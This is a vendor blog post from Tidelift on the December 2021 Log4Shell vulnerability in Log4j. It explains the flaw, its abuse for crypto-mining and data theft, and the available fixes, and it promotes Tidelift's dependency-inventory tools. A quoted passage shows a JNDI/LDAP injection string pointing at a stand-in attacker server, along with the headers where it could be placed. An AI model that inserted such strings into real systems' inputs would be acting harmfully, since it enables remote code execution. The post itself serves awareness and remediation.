It’s Wednesday, December 15, 2021. It has been a mad scramble over the last few days to understand the impact of the Log4Shell vulnerability (first identified on December 9th). While most organizations are busy applying fixes, as of December 14th, there already is a new Log4j related vulnerability being reported. Time is of the essence to minimize damage, and I wanted to take this opportunity to give you a few insights on what is happening and why this is a massive vulnerability for anyone using Java.
Log4j is a popular library for logging things in Java applications. Practically every organization that uses Java (Maven/Gradle) uses Log4j and has likely been impacted by the Log4Shell vulnerability. Log4j interprets a log message as a URL, it fetches the message and executes any executable payload contained within the message with full privileges of the main program.
Log4Shell runs scans attempting to identify vulnerable servers. There have been reports of this vulnerability being used to install crypto-mining software, for bolstering Linux botnets, and extracting configurations, environmental variables and other sensitive data from vulnerable servers.
“So all an attacker has to do is find some input that gets logged and add something like ${ jndi:ldap://attackerserver.com.com/x }. This could be a HTTP header like User-Agent (that commonly gets logged) or perhaps a form parameter like username/request object that might also be logged (as a matter of fact everything gets logged in order to increase one’s fidelity to triage or observe).”
Source: Security Boulevard
Log4Shell is a zero-day vulnerability—named as such since affected organizations have zero days to patch their systems.
Yes, it can be fixed! Organizations can either upgrade Log4j, which is recommend by Tidelift, or prevent improper messages from being logged (probably more difficult), or configure Log4j in certain ways to prevent this (may break other capabilities in your logs)
As soon as we heard about this vulnerability (before it was listed as a CVE), we started reaching out to our customers to inform and advise them on how to remediate the issue. When looking across our customer base to do our outreach on the problem, we found that all of our customers with Java applications were using Log4j and expect that this is generally the case outside of our customer base as well.
One way Tidelift helps in this situation is by making it easy to find all the “nooks and crannies” where Log4j might be used within your software development lifecycle. Using Tidelift’s open source management tools, organizations can generate a software bill of materials (SBOM) which identifies both direct and also transitive dependencies -- thus making it easy to map all the packages impacted by Log4j.
We’ve been in touch with all our customers, helping them identify and remediate this issue. One customer shared the following:
“Our security team is currently assessing the scope of Log4j usage. They were able to use the OSS inventory report as a starting point. We are so fortunate to have a tool like Tidelift that gives us insight into OSS usage across [the org].”
Another way Tidelift helps is that it allows customers to track fixes as they start happening, so organizations can see what is affected in real time. Tidelift also allows the centralized team to notify and issue recommendations and timelines.
The demo below shows the typical flow of addressing the Log4j vulnerability using the Tidelift Subscription.
Here’s a quick overview:
Please watch the video for more details.
If you’d like to see how the Tidelift Subscription can help your organization, please reach out to one of our open source experts and we can give you a live demo or answer any questions.